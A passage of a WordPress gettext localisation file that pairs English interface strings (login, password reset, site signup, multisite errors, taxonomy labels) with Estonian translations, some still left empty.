wp-includes/post-formats.php:99 msgctxt "Post format" msgid "Status" msgstr "Olek" #: wp-includes/post-formats.php:100 msgctxt "Post format" msgid "Video" msgstr "Video" #: wp-includes/post.php:1631 msgid "No pages found in Trash." msgstr "Prügikastis pole lehti." #: wp-includes/post.php:1630 msgid "No pages found." msgstr "Lehti pole." #: wp-includes/post.php:1631 msgid "No posts found in Trash." msgstr "Prügikastis pole postitusi." #: wp-includes/admin-bar.php:469 msgid "Shortlink" msgstr "Lühiviide" #: wp-includes/class-wp-xmlrpc-server.php:1255 #: wp-includes/class-wp-xmlrpc-server.php:3575 #: wp-includes/class-wp-xmlrpc-server.php:4631 #: wp-includes/class-wp-xmlrpc-server.php:4964 msgid "Invalid attachment ID." msgstr "Vigane manuse ID." #: wp-includes/registration-functions.php:7 wp-includes/registration.php:7 msgid "This file no longer needs to be included." msgstr "Seda faili ei pea enam lisama." #: wp-login.php:522 msgid "Please enter your username or email address. You will receive a link to create a new password via email." msgstr "Palun sisesta enda kasutajanimi või e-postiaadress. Sulle saadetakse e-kirjaga viide, mille kaudu saad parooli ära vahetada." #: wp-includes/default-widgets.php:353 wp-includes/default-widgets.php:633 msgid "Display as dropdown" msgstr "Näita rippmenüüna" #: wp-includes/class-wp-xmlrpc-server.php:474 msgid "Large size image height" msgstr "Suure pildisuuruse kõrgus" #: wp-includes/class-wp-xmlrpc-server.php:459 msgid "Medium size image width" msgstr "Keskmise pildisuuruse laius" #: wp-includes/class-wp-xmlrpc-server.php:464 msgid "Medium size image height" msgstr "Keskmise pildisuuruse kõrgus" #: wp-includes/class-wp-xmlrpc-server.php:469 msgid "Large size image width" msgstr "Suure pildisuuruse laius" #: wp-includes/class-wp-xmlrpc-server.php:454 msgid "Crop thumbnail to exact dimensions" msgstr "Lõika pisipilt sobivasse mõõtu" #: wp-includes/class-wp-xmlrpc-server.php:449 msgid "Thumbnail Height" msgstr "Pisipildi kõrgus" #: wp-includes/class-wp-xmlrpc-server.php:444 msgid "Thumbnail Width" msgstr "Pisipildi laius" #: wp-includes/script-loader.php:361 msgid "No matches found." msgstr "Ühtki sobivat ei leitud." #: wp-login.php:623 msgid "New password" msgstr "Uus parool" #: wp-login.php:627 msgid "Confirm new password" msgstr "Sisesta enda uus parool veel kord" #: wp-login.php:364 msgid "To reset your password, visit the following address:" msgstr "Parooli vahetamiseks külasta järgnevat aadressi:" #: wp-login.php:616 wp-login.php:647 msgid "Reset Password" msgstr "Muuda parool" #: wp-login.php:593 msgid "The passwords do not match." msgstr "Paroolid ei klapi." #: wp-login.php:608 msgid "Password Reset" msgstr "Parooli vahetamine" #: wp-login.php:608 msgid "Your password has been reset." msgstr "Sinu parool on muudetud." #: wp-login.php:360 msgid "Someone requested that the password be reset for the following account:" msgstr "Keegi palus meil selle ajaveebi juures järgmise kasutaja parooli ära vahetada:" #: wp-login.php:363 msgid "If this was a mistake, just ignore this email and nothing will happen." msgstr "Kui see oli viga, siis lihtsalt ignoreeri seda sõnumit ja midagi ei juhtu." #: wp-login.php:616 msgid "Enter your new password below." msgstr "Sisesta enda uus parool." #: wp-includes/post-formats.php:70 msgid "Invalid post" msgstr "Vigane postitus" #: wp-includes/admin-bar.php:244 msgid "Edit My Profile" msgstr "Muuda kasutajaprofiili" #: wp-includes/admin-bar.php:201 msgid "My Account" msgstr "Minu konto" #: wp-includes/admin-bar.php:435 msgid "Manage Comments" msgstr "Halda kommentaare" #: wp-includes/ms-functions.php:475 wp-includes/ms-functions.php:628 msgid "Only lowercase letters (a-z) and numbers are allowed." msgstr "Lubatud on vaid väiketähed (a-z) ja numbrid." #: wp-includes/query.php:2402 msgid "\"caller_get_posts\" is deprecated. Use \"ignore_sticky_posts\" instead." msgstr "\"caller_get_posts\" kasutamine on iganenud viis. Kasuta selle asemel \"ignore_sticky_posts\" ." #: wp-includes/taxonomy.php:97 msgid "New Link Category Name" msgstr "Uue viiterubriigi nimi" #: wp-includes/taxonomy.php:96 msgid "Add New Link Category" msgstr "Lisa viiterubriik" #: wp-includes/taxonomy.php:95 msgid "Update Link Category" msgstr "Muuda viiterubriiki" #: wp-includes/taxonomy.php:93 msgid "All Link Categories" msgstr "Kõik viiterubriigid" #: wp-includes/taxonomy.php:91 msgid "Search Link Categories" msgstr "Otsi viiterubriikidest" #: wp-includes/taxonomy.php:90 msgid "Link Category" msgstr "Viiterubriik" #: wp-includes/admin-bar.php:355 msgid "Network Admin" msgstr "Võrgustikuhaldur" #: wp-includes/ms-load.php:412 msgid "Read the <a target=\"_blank\" href=\"http://codex.wordpress.org/Debugging_a_WordPress_Network\">bug report</a> page. Some of the guidelines there may help you figure out what went wrong." msgstr "Vaata <a target=\"_blank\" href=\"http://codex.wordpress.org/Debugging_a_WordPress_Network\">vigadest teatamise</a> lehte. Mõned sealsed soovitused võivad aidata sul selgusele jõuda, mis valesti läks." #: wp-includes/ms-functions.php:877 wp-includes/ms-functions.php:962 msgid "[%1$s] Activate %2$s" msgstr "[%1$s] Aktiveeri %2$s" #: wp-includes/load.php:117 msgid "Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s." msgstr "Sinu server kasutab PHP versiooni %1$s, kuid WordPress %2$s vajab vähemalt versiooni %3$s." #: wp-includes/theme-compat/comments.php:26 msgid "One Response to %2$s" msgid_plural "%1$s Responses to %2$s" msgstr[0] "%2$s on saanud ühe vastuse" msgstr[1] "%2$s on saanud %1$s vastust" #: wp-signup.php:678 msgctxt "Multisite active signup type" msgid "user" msgstr "kasutaja" #: wp-signup.php:677 msgctxt "Multisite active signup type" msgid "blog" msgstr "ajaveeb" #: wp-signup.php:676 msgctxt "Multisite active signup type" msgid "none" msgstr "mitte ükski" #: wp-signup.php:675 msgctxt "Multisite active signup type" msgid "all" msgstr "kõik" #: wp-includes/default-widgets.php:1308 msgid "Custom Menu" msgstr "Kohandatud menüü" #: wp-includes/theme-compat/sidebar.php:74 msgid "XFN" msgstr "XFN" #: wp-includes/theme-compat/sidebar.php:74 msgid "XHTML Friends Network" msgstr "XHTML Friends Network" #: wp-includes/theme-compat/footer.php:19 msgid "%1$s and %2$s." msgstr "%1$s, %2$s" #: wp-includes/theme-compat/sidebar.php:38 msgid "F, Y" msgstr "j. M Y" #: wp-includes/theme-compat/sidebar.php:47 msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives." msgstr "Oled sirvimas <a href=\"%1$s/\">%2$s</a> arhiivi." #: wp-includes/theme-compat/sidebar.php:38 msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for %3$s." msgstr "<a href=\"%1$s/\">%2$s</a> postituste arhiiv: %3$s." #: wp-includes/theme-compat/sidebar.php:41 msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for the year %3$s." msgstr "<a href=\"%1$s/\">%2$s</a> postituste arhiiv aastast %3$s." #: wp-includes/theme-compat/comments.php:72 msgid "Logged in as <a href=\"%1$s\">%2$s</a>." msgstr "Sisse logitud nimega <a href=\"%1$s\">%2$s</a>." #: wp-includes/theme-compat/comments-popup.php:70 msgid "Logged in as <a href=\"%1$s\">%2$s</a>. <a href=\"%3$s\" title=\"Log out of this account\">Log out »</a>" msgstr "Oled sisse logitud kasutajana <a href=\"%1$s\">%2$s</a>. <a href=\"%3$s\" title=\"Logi kontolt välja\">Logi välja »</a>" #: wp-includes/theme-compat/footer.php:17 msgid "%1$s is proudly powered by %2$s" msgstr "%1$s kasutab %2$s" #: wp-includes/theme-compat/comments-popup.php:117 msgid "Powered by <a href=\"%s\" title=\"Powered by WordPress, state-of-the-art semantic personal publishing platform\"><strong>WordPress</strong></a>" msgstr "Kasutame <a href=\"%s\" title=\"Kasutame WordPressi, tänapäevast semantilist publitseerimisplatvormi\"><strong>WordPressi</strong></a>" #: wp-includes/theme-compat/comments.php:87 msgid "<strong>XHTML:</strong> You can use these tags: <code>%s</code>" msgstr "<strong>XHTML:</strong> Lubatud on järgmised märgendid: <code>%s</code>" #: wp-includes/theme-compat/sidebar.php:44 msgid "You have searched the <a href=\"%1$s/\">%2$s</a> blog archives for <strong>‘%3$s’</strong>. If you are unable to find anything in these search results, you can try one of these links." msgstr "<a href=\"%1$s/\">%2$s</a> postituste arhiivist otsiti <strong>‘%3$s’</strong>. Kui otsing ei andnud tulemusi, proovi mõnda neist viidetest." #: wp-includes/theme-compat/sidebar.php:35 msgid "l, F jS, Y" msgstr "j. M Y" #: wp-includes/theme-compat/sidebar.php:35 msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for the day %3$s." msgstr "<a href=\"%1$s/\">%2$s</a> postituste arhiiv %3$s." #: wp-includes/theme-compat/sidebar.php:32 msgid "You are currently browsing the archives for the %s category." msgstr "Rubriigi %s arhiiv." #: wp-includes/theme-compat/footer.php:20 msgid "%d queries. %s seconds." msgstr "%d päringut, %s sekundit." #: wp-includes/theme-compat/footer.php:19 msgid "Comments (RSS)" msgstr "Kommentaaride RSS" #: wp-includes/theme-compat/footer.php:19 msgid "Entries (RSS)" msgstr "Sissekannete RSS" #: wp-includes/theme-compat/comments-popup.php:66 msgid "Line and paragraph breaks automatic, e-mail address never displayed, <acronym title=\"Hypertext Markup Language\">HTML</acronym> allowed: <code>%s</code>" msgstr "Rea- ja lõiguvahetused on automaatsed, e-postiaadresse ei näidata, <acronym title=\"Hypertext Markup Language\">HTML</acronym> on lubatud: <code>%s</code>" #: wp-includes/theme-compat/comments.php:17 msgid "This post is password protected. Enter the password to view comments." msgstr "See postitus on parooliga kaitstud. Kommentaaride vaatamiseks sisesta enda parool." #: wp-includes/theme-compat/comments-popup.php:14 msgid "%1$s - Comments on %2$s" msgstr "%1$s - kommentaarid %2$s kohta" #: wp-includes/theme-compat/comments-popup.php:38 msgid "The <abbr title=\"Universal Resource Locator\">URL</abbr> to TrackBack this entry is: <em>%s</em>" msgstr "Selle postituse tagasisideviite <abbr title=\"Universal Resource Locator\">URL</abbr> on: <em>%s</em>" #: wp-includes/theme-compat/comments-popup.php:55 msgid "by %1$s — %2$s @ <a href=\"#comment-%3$s\">%4$s</a>" msgstr "%1$s —, %2$s kell <a href=\"#comment-%3$s\">%4$s</a>" #: wp-includes/taxonomy.php:489 msgid "Choose from the most used tags" msgstr "Vali enimkasutatud siltide seast" #: wp-includes/comment-template.php:2109 msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s" msgstr "Saad kasutada järgmisi <abbr title=\"HyperText Markup Language\">HTML-i</abbr> märgendeid ja atribuute: %s" #: wp-includes/taxonomy.php:476 msgctxt "taxonomy singular name" msgid "Category" msgstr "Rubriik" #: wp-includes/taxonomy.php:477 msgid "Search Tags" msgstr "Otsi siltidest" #: wp-includes/taxonomy.php:478 msgid "Popular Tags" msgstr "Levinumad sildid" #: wp-includes/taxonomy.php:486 msgid "New Category Name" msgstr "Uue rubriigi nimi" #: wp-includes/taxonomy.php:486 msgid "New Tag Name" msgstr "Uue sildi nimi" #: wp-includes/taxonomy.php:485 msgid "Add New Category" msgstr "Lisa rubriik" #: wp-includes/taxonomy.php:485 msgid "Add New Tag" msgstr "Lisa uus silt" #: wp-includes/taxonomy.php:484 msgid "Update Tag" msgstr "Uuenda silti" #: wp-includes/taxonomy.php:481 msgid "Parent Category:" msgstr "Ülemrubriik:" #: wp-includes/taxonomy.php:480 msgid "Parent Category" msgstr "Ülemrubriik" #: wp-includes/taxonomy.php:479 msgid "All Tags" msgstr "Kõik sildid" #: wp-includes/taxonomy.php:475 msgctxt "taxonomy general name" msgid "Categories" msgstr "Rubriigid" #: wp-signup.php:723 msgid "Sorry, new registrations are not allowed at this time." msgstr "Vabandust, käesoleval hetkel on registreerumine suletud." #: wp-signup.php:510 wp-signup.php:646 msgid "Check your inbox at <strong>%s</strong> and click the link given." msgstr "Kontrolli aadressil <strong>%s</strong> enda e-posti ning klõpsa saabunud kirjas olevat viidet." #: wp-signup.php:652 msgid "Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control." msgstr "Oota veel veidi. Vahetevahel võib e-posti töös esineda meie tahtest sõltumatuid viivitusi." #: wp-signup.php:653 msgid "Check the junk or spam folder of your email client. Sometime emails wind up there by mistake." msgstr "Kontrolli enda e-postitarkvara rämpsukausta. Vahel jõuavad e-kirjad ekslikult ka sinna." #: wp-signup.php:681 msgid "Greetings Site Administrator! You are currently allowing “%s” registrations. To change or disable registration go to your <a href=\"%s\">Options page</a>." msgstr "Tere, veebilehe haldur! Praegu võivad kasutajad sinu lehele registreeruda. Registreerimise muutmiseks või väljalülitamiseks mine <a href=\"%s\">seadete lehele</a>." #: wp-signup.php:191 msgid "We send your registration email to this address. (Double-check your email address before continuing.)" msgstr "Registreerumisinfo saadetakse sellele e-postiaadressile (kontrolli see enne jätkamist veel kord üle)." #: wp-includes/post.php:1629 msgid "Search Pages" msgstr "Otsi lehtedelt" #: wp-includes/post.php:1625 msgid "Add New Post" msgstr "Lisa postitus" #: wp-includes/post.php:1632 msgid "Parent Page:" msgstr "Ülemleht:" #: wp-includes/post.php:1622 msgctxt "post type general name" msgid "Posts" msgstr "Postitused" #: wp-includes/post.php:1626 msgid "Edit Page" msgstr "Muuda lehte" #: wp-includes/post.php:1629 msgid "Search Posts" msgstr "Otsi postitustest" #: wp-includes/post.php:1625 msgid "Add New Page" msgstr "Lisa leht" #: wp-includes/post.php:1622 msgctxt "post type general name" msgid "Pages" msgstr "Lehed" #: wp-includes/post.php:1623 msgctxt "post type singular name" msgid "Page" msgstr "" #: wp-includes/post.php:1623 msgctxt "post type singular name" msgid "Post" msgstr "" #: wp-includes/ms-default-constants.php:127 msgid "The constant <code>VHOST</code> <strong>is deprecated</strong>. Use the boolean constant <code>SUBDOMAIN_INSTALL</code> in wp-config.php to enable a subdomain configuration. Use is_subdomain_install() to check whether a subdomain configuration is enabled." msgstr "Konstanti <code>VHOST</code> <strong>ei soovitata kasutada</strong>. Alamdomeenide lubamiseks kasuta failis wp-config.php loogikakonstanti <code>SUBDOMAIN_INSTALL</code>. Selle kontrollimiseks kasuta funktsiooni is_subdomain_install()." #: wp-includes/ms-default-constants.php:129 msgid "<strong>Conflicting values for the constants VHOST and SUBDOMAIN_INSTALL.</strong> The value of SUBDOMAIN_INSTALL will be assumed to be your subdomain configuration setting." msgstr "<strong>Konstantide VHOST ja SUBDOMAIN_INSTALL väärtused on omavahel vastuolus.</strong> Alamdomeenide seadistus võetakse konstandi SUBDOMAIN_INSTALL järgi." #: wp-includes/user.php:2129 msgid "<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username." msgstr "<strong>VIGA</strong>: Kasutajanimi ei kõlba, kuna sisaldab lubamatuid sümboleid. Palun sisesta korrektne kasutajanimi." #: wp-includes/comment-template.php:2091 msgid "Required fields are marked %s" msgstr "Nõutavad väljad on tähistatud %s-ga" #: wp-includes/theme-compat/comments-popup.php:10 #: wp-includes/theme-compat/comments.php:10 #: wp-includes/theme-compat/footer.php:10 #: wp-includes/theme-compat/header.php:10 #: wp-includes/theme-compat/sidebar.php:10 msgid "Please include a %1$s template in your theme." msgstr "Palun lisa enda teemale mall %1$s." #: wp-includes/theme-compat/comments-popup.php:10 #: wp-includes/theme-compat/comments.php:10 #: wp-includes/theme-compat/footer.php:10 #: wp-includes/theme-compat/header.php:10 #: wp-includes/theme-compat/sidebar.php:10 msgid "Theme without %1$s" msgstr "Teemal puudub %1$s" #: wp-includes/ms-load.php:409 msgid "<strong>Could not find site <code>%1$s</code>.</strong> Searched for table <code>%2$s</code> in database <code>%3$s</code>. Is that right?" msgstr "<strong>Veebilehte <code>%1$s</code> ei leita.</strong> Vajalik andmetabel <code>%2$s</code> peaks asuma andmebaasis <code>%3$s</code>. On see nii?" #: wp-includes/general-template.php:627 msgid "The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions." msgstr "<code>%s</code> valik on soovitatav asendada <code>bloginfo()</code> -funktsioonidega." #: wp-includes/general-template.php:627 msgid "Use the <code>%s</code> option instead." msgstr "Kasuta parem <code>%s</code> -valikut." #: wp-includes/ms-load.php:407 msgid "<strong>Database tables are missing.</strong> This means that MySQL is not running, WordPress was not installed properly, or someone deleted <code>%s</code>. You really should look at your database now." msgstr "<strong>Andmebaasitabeleid ei leita.</strong> See tähendab, et kas MySQL ei tööta, WordPress pole korralikult paigaldatud või keegi kustutas <code>%s</code> ära. Ole hea ja vaata enda andmebaas üle." #: wp-includes/class-wp-xmlrpc-server.php:4023 msgid "Sorry, you do not have access to user data on this site." msgstr "Vabandust, sul ei ole õigust selle veebilehe kasutajaandmeid vaadata." #: wp-includes/class-wp-xmlrpc-server.php:1171 #: wp-includes/class-wp-xmlrpc-server.php:4195 msgid "Sorry, you are not allowed to post on this site." msgstr "Vabandust, sul ei ole õigust sellele veebilehele postitada." #: wp-includes/class-wp-xmlrpc-server.php:4422 #: wp-includes/class-wp-xmlrpc-server.php:4435 #: wp-includes/class-wp-xmlrpc-server.php:4440 msgid "Sorry, you are not allowed to publish posts on this site." msgstr "Vabandust, sul ei ole õigust sellel veebilehel postitusi avaldada." #: wp-includes/class-wp-xmlrpc-server.php:5258 #: wp-includes/class-wp-xmlrpc-server.php:5481 msgid "Sorry, you must be able to edit posts on this site in order to view categories." msgstr "Vabandust, rubriikide vaatamiseks peab sul sellel veebilehel olema postituste muutmise õigus." #: wp-includes/class-wp-xmlrpc-server.php:4411 msgid "Sorry, you are not allowed to publish pages on this site." msgstr "Vabandust, sul ei ole õigust sellele veebilehele lehti lisada." #: wp-includes/ms-functions.php:673 wp-includes/ms-functions.php:1154 msgid "Sorry, that site already exists!" msgstr "Vabandust, see leht on juba olemas!" #: wp-includes/ms-functions.php:853 msgid "" "To activate your blog, please click the following link:\n" "\n" "%s\n" "\n" "After you activate, you will receive *another email* with your login.\n" "\n" "After you activate, you can visit your site here:\n" "\n" "%s" msgstr "" "Enda ajaveebi aktiveerimiseks palun klõpsa järgnevat viidet:\n" "\n" "%s\n" "\n" "Peale aktiveerimist saadetakse sulle *veel üks e-kiri*, millest leiad kasutajainfo.\n" "\n" "Aktiveerimise järel leiad enda lehe siit:\n" "\n" "%s" #: wp-includes/ms-functions.php:1240 msgid "New Site Registration: %s" msgstr "Uue veebilehe registreerimine: %s" #: wp-includes/ms-functions.php:637 msgid "Sorry, site names may not contain the character “_”!" msgstr "Vabandust, sümbolit “_” ei tohi veebilehe nimes olla!" #: wp-includes/ms-functions.php:1525 msgid "New %1$s Site: %2$s" msgstr "Uus %1$s veebileht: %2$s" #: wp-includes/ms-functions.php:1003 msgid "The site is already active." msgstr "See veebileht on juba aktiveeritud." #: wp-includes/class-wp-xmlrpc-server.php:2742 #: wp-includes/class-wp-xmlrpc-server.php:4109 #: wp-includes/class-wp-xmlrpc-server.php:5142 msgid "Sorry, you cannot edit posts on this site." msgstr "Vabandust, sul ei ole õigust sellel veebilehel postitusi muuta." #: wp-includes/class-wp-xmlrpc-server.php:2934 msgid "Sorry, you must be able to edit posts to this site in order to view categories." msgstr "Vabandust, rubriikide vaatamiseks peab sul sellel veebilehel olema postituste muutmise õigus." #: wp-includes/class-wp-xmlrpc-server.php:3323 #: wp-includes/class-wp-xmlrpc-server.php:3384 #: wp-includes/class-wp-xmlrpc-server.php:3411 #: wp-includes/class-wp-xmlrpc-server.php:3438 #: wp-includes/class-wp-xmlrpc-server.php:3657 msgid "You are not allowed access to details about this site." msgstr "Sul ei ole õigust selle veebilehe detaile vaadata." #: wp-includes/ms-functions.php:1160 msgid "Could not create site." msgstr "Veebilehe loomine ei õnnestu." #: wp-includes/ms-functions.php:645 msgid "Sorry, site names must have letters too!" msgstr "Vabandust, veebilehe nimi peab sisaldama ka tähti!" #: wp-includes/ms-functions.php:641 msgid "Sorry, you may not use that site name." msgstr "Vabandust, seda nime ei saa kasutada." #: wp-includes/ms-functions.php:677 msgid "Sorry, that site is reserved!" msgstr "Vabandust, see veebileht on reserveeritud!" #: wp-includes/ms-functions.php:688 msgid "That site is currently reserved but may be available in a couple days." msgstr "See nimi on hetkel reserveeritud, kuid ta võib vabaneda mõne päeva pärast." #: wp-includes/pluggable.php:1645 msgid "New user registration on your site %s:" msgstr "Sinu veebilehele %s registreerus uus kasutaja:" #: wp-includes/class-wp-xmlrpc-server.php:2971 #: wp-includes/class-wp-xmlrpc-server.php:3074 #: wp-includes/class-wp-xmlrpc-server.php:3080 #: wp-includes/class-wp-xmlrpc-server.php:3139 #: wp-includes/class-wp-xmlrpc-server.php:3145 msgid "You are not allowed to moderate comments on this site." msgstr "Sul ei ole õigust selle veebilehe kommentaare modereerida." #: wp-includes/class-wp-xmlrpc-server.php:2778 msgid "Sorry, you must be able to edit posts on this site in order to view tags." msgstr "Vabandust, siltide vaatamiseks peab sul sellel veebilehel olema postituste muutmise õigus." #: wp-includes/class-wp-xmlrpc-server.php:424 msgid "Site Tagline" msgstr "Veebilehe lühikirjeldus" #: wp-includes/ms-load.php:109 msgid "This site has been archived or suspended." msgstr "See veebileht on kas arhiveeritud või ajutiselt kõrvaldatud." #: wp-includes/load.php:472 msgid "The site you have requested is not installed properly. Please contact the system administrator." msgstr "Soovitud veebileht ei ole korrektselt paigaldatud. Palun võta ühendust serveri halduriga." #: wp-includes/script-loader.php:537 msgctxt "search results" msgid "No results found." msgstr "Tulemusi pole." #: wp-includes/nav-menu.php:252 wp-includes/nav-menu.php:259 msgid "The menu name <strong>%s</strong> conflicts with another menu name. Please try another." msgstr "Menüü pealkiri <strong>%s</strong> on juba olemas. Palun vali mõni muu." #: wp-includes/nav-menu.php:317 msgid "The given object ID is not that of a menu item." msgstr "Valitud objektitähis ei kuulu menüüelemendile." #: wp-includes/formatting.php:3274 msgid "The email address entered did not appear to be a valid email address. Please enter a valid email address." msgstr "Sisestatud e-postiaadress ei tööta. Palun sisesta toimiv aadress." #: wp-includes/formatting.php:3361 msgid "The WordPress address you entered did not appear to be a valid URL. Please enter a valid URL." msgstr "Sisestatud WordPressi veebiaadress ei ole korrektne. Palun sisesta korrektne aadress." #: wp-includes/formatting.php:3371 msgid "The Site address you entered did not appear to be a valid URL. Please enter a valid URL." msgstr "Sisestatud veebileheaadress ei ole korrektne. Palun sisesta korrektne aadress." #: wp-includes/taxonomy.php:2491 msgid "A term with the name provided already exists with this parent." msgstr "Selle nimega väli on juba olemas." #: wp-includes/ms-functions.php:1967 msgid "An error occurred adding you to this site. Back to the <a href=\"%s\">homepage</a>." msgstr "Sinu lisamisel sellele lehele tekkis viga. Mine tagasi <a href=\"%s\">esilehele</a>." #: wp-includes/ms-functions.php:1883 msgid "This file is too big. Files must be less than %d KB in size." msgstr "See fail on liiga suur. Failide suurus peab jääma alla %d KB." #: wp-includes/comment-template.php:2108 msgid "Your email address will not be published." msgstr "Sinu e-postiaadressi ei avaldata." #: wp-includes/class-http.php:191 wp-includes/class-wp-xmlrpc-server.php:5749 msgid "A valid URL was not provided." msgstr "Toimiv veebiaadress puudub." #: wp-includes/comment-template.php:2107 msgid "Logged in as <a href=\"%1$s\">%2$s</a>. <a href=\"%3$s\" title=\"Log out of this account\">Log out?</a>" msgstr "Oled sisse logitud nimega <a href=\"%1$s\">%2$s</a>. <a href=\"%3$s\" title=\"Logi kontolt välja\">Logi välja</a>" #: wp-includes/class-wp-image-editor-gd.php:175 #: wp-includes/class-wp-image-editor-imagick.php:232 msgid "Could not calculate resized image dimensions" msgstr "Muudetud pildi suuruse tuvastamine ebaõnnestus" #: wp-signup.php:112 msgid "Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!" msgstr "Vähemalt 4 tähemärki, sisaldab vaid tähti ja numbreid. Seda muuta ei saa, nii et vali hoolikalt!" #: wp-signup.php:690 msgid "You must first <a href=\"%s\">log in</a>, and then you can create a new site." msgstr "Veebilehe lisamiseks pead <a href=\"%s\">sisse logima</a>." #: wp-signup.php:725 msgid "You are logged in already. No need to register again!" msgstr "Oled juba sisse logitud, uuesti registreeruda pole vaja!" #: wp-includes/comment-template.php:942 msgid "Use <code>get_trackback_url()</code> instead if you do not want the value echoed." msgstr "Kasuta <code>get_trackback_url()</code> -funktsiooni, kui sa ei soovi selle väärtuse kuvamist." #: wp-mail.php:15 msgid "This action has been disabled by the administrator." msgstr "Haldur on selle tegevuse välja lülitanud." #: wp-signup.php:266 msgid "Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart’s content, but write responsibly!" msgstr "Tere tulemast taas, %s. Täites alloleva vormi võid <strong>lisada enda kontole uue veebilehe</strong>. Lehtede arv pole piiratud, seega loo palju tahes, kuid tee seda arukalt!" #: wp-includes/ms-functions.php:499 msgid "Sorry, usernames may not contain the character “_”!" msgstr "Vabandust, sümbolit “_” ei tohi kasutajanimes olla!" #: wp-signup.php:650 msgid "If you haven’t received your email yet, there are a number of things you can do:" msgstr "Kui e-kiri pole ikka veel saabunud, võid teha järgnevaid asju:" #: wp-includes/author-template.php:63 msgid "Use <code>get_the_author()</code> instead if you do not want the value echoed." msgstr "Kasuta <code>get_the_author()</code> -funktsiooni, kui sa ei soovi selle väärtuse kuvamist." #: wp-includes/ms-load.php:413 msgid "If you’re still stuck with this message, then check that your database contains the following tables:" msgstr "Kui jääd ikka selle veateate juurde kinni, kontrolli, et su andmebaasis oleksid järgmised tabelid:" #: wp-includes/script-loader.php:495 msgid "Are you sure you want to install this plugin?" msgstr "Oled kindel, et tahad seda pluginat paigaldada?" #: wp-includes/script-loader.php:528 msgid "Use as featured image" msgstr "Vali tunnuspildiks" #: wp-includes/script-loader.php:345 msgid "Mismatch" msgstr "Ei klapi" #: wp-includes/load.php:187 msgid "Maintenance" msgstr "Hooldustööd" #: wp-includes/load.php:191 msgid "Briefly unavailable for scheduled maintenance. Check back in a minute." msgstr "Leht on seoses plaanilise hooldusega hetkeks maas. Proovi mõne hetke pärast uuesti." #: wp-includes/post.php:100 msgid "Navigation Menu Items" msgstr "Menüüelemendid" #: wp-includes/post.php:101 msgid "Navigation Menu Item" msgstr "Menüüelement" #: wp-includes/taxonomy.php:76 msgid "Navigation Menus" msgstr "Menüüd" #: wp-links-opml.php:29 msgid "Links for %s" msgstr "Viited %s kohta" #: wp-includes/nav-menu.php:686 msgid "Custom" msgstr "Kohandatud" #: wp-includes/default-widgets.php:1351 msgid "No menus have been created yet. <a href=\"%s\">Create some</a>." msgstr "Ühtki menüüd pole veel loodud. <a href=\"%s\">Loo mõni</a>." #: wp-includes/script-loader.php:538 msgid "" "You are about to permanently delete this menu. \n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Oled kustutamas seda menüüd jäädavalt. \n" "Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'." #: wp-includes/link-template.php:3118 msgid "This is the short link." msgstr "See on lühiviide." #: wp-includes/update.php:547 msgid "%d WordPress Update" msgstr "%d WordPressi uuendus" #: wp-includes/update.php:551 msgid "%d Theme Update" msgid_plural "%d Theme Updates" msgstr[0] "%d teemauuendus" msgstr[1] "%d teemauuendust" #: wp-includes/update.php:549 msgid "%d Plugin Update" msgid_plural "%d Plugin Updates" msgstr[0] "%d pluginauuendus" msgstr[1] "%d pluginauuendust" #: wp-signup.php:379 msgid "The site %s is yours." msgstr "Veebileht %s kuulub sulle." #: wp-signup.php:296 msgid "Create Site" msgstr "Loo veebileht" #: wp-signup.php:281 msgid "If you’re not going to use a great site domain, leave it for a new user. Now have at it!" msgstr "Kui sa ei kasuta enda domeeninime, jäta see võimalus teistele. " #: wp-signup.php:272 msgid "Sites you are already a member of:" msgstr "Oled registreerunud järgmistele veebilehtedele:" #: wp-includes/pluggable.php:1385 msgid "New trackback on your post \"%s\"" msgstr "" #: wp-includes/ms-load.php:404 msgid "If you are the owner of this network please check that MySQL is running properly and all tables are error free." msgstr "" #: wp-includes/ms-load.php:102 msgid "This site has not been activated yet. If you are having problems activating your site, please contact <a href=\"mailto:%1$s\">%1$s</a>." msgstr "See veebileht ei ole veel aktiveeritud. Kui see ei taha õnnestuda, võta ühendust aadressil <a href=\"mailto:%1$s\">%1$s</a>." #: wp-includes/ms-load.php:403 msgid "If your site does not display, please contact the owner of this network." msgstr "" #: wp-includes/pluggable.php:1405 msgid "New comment on your post \"%s\"" msgstr "" #: wp-includes/pluggable.php:1395 msgid "New pingback on your post \"%s\"" msgstr "" #: wp-includes/pluggable.php:1520 msgid "A new trackback on the post \"%s\" is waiting for your approval" msgstr "" #: wp-includes/pluggable.php:1527 msgid "A new pingback on the post \"%s\" is waiting for your approval" msgstr "" #: wp-includes/pluggable.php:1534 msgid "A new comment on the post \"%s\" is waiting for your approval" msgstr "" #: wp-includes/script-loader.php:256 msgid "File canceled." msgstr "Faili laadimine tühistati." #: wp-signup.php:117 msgid "Site Title:" msgstr "Veebilehe pealkiri:" #: wp-signup.php:96 msgid "Site Domain:" msgstr "Veebilehe domeen:" #: wp-signup.php:94 msgid "Site Name:" msgstr "Veebilehe nimi:" #: wp-signup.php:109 msgid "sitename" msgstr "lehenimi" #: wp-signup.php:260 msgid "Get <em>another</em> %s site in seconds" msgstr "Loo <em>uus</em> %s leht mõne hetkega" #: wp-signup.php:643 msgid "Congratulations! Your new site, %s, is almost ready." msgstr "Palju õnne! Sinu uus veebileht, %s, on peaaegu valmis." #: wp-signup.php:704 msgid "Site registration has been disabled." msgstr "Veebilehtede registreerimine on suletud." #: wp-signup.php:453 msgid "Gimme a site!" msgstr "Tahan enda veebilehte!" #: wp-signup.php:645 msgid "But, before you can start using your site, <strong>you must activate it</strong>." msgstr "Aga enne selle kasutamist pead selle <strong>aktiveerima</strong>." #: wp-signup.php:647 msgid "If you do not activate your site within two days, you will have to sign up again." msgstr "Kui sa ei aktiveeri enda veebilehte kahe päeva jooksul, pead selle uuesti registreerima." #: 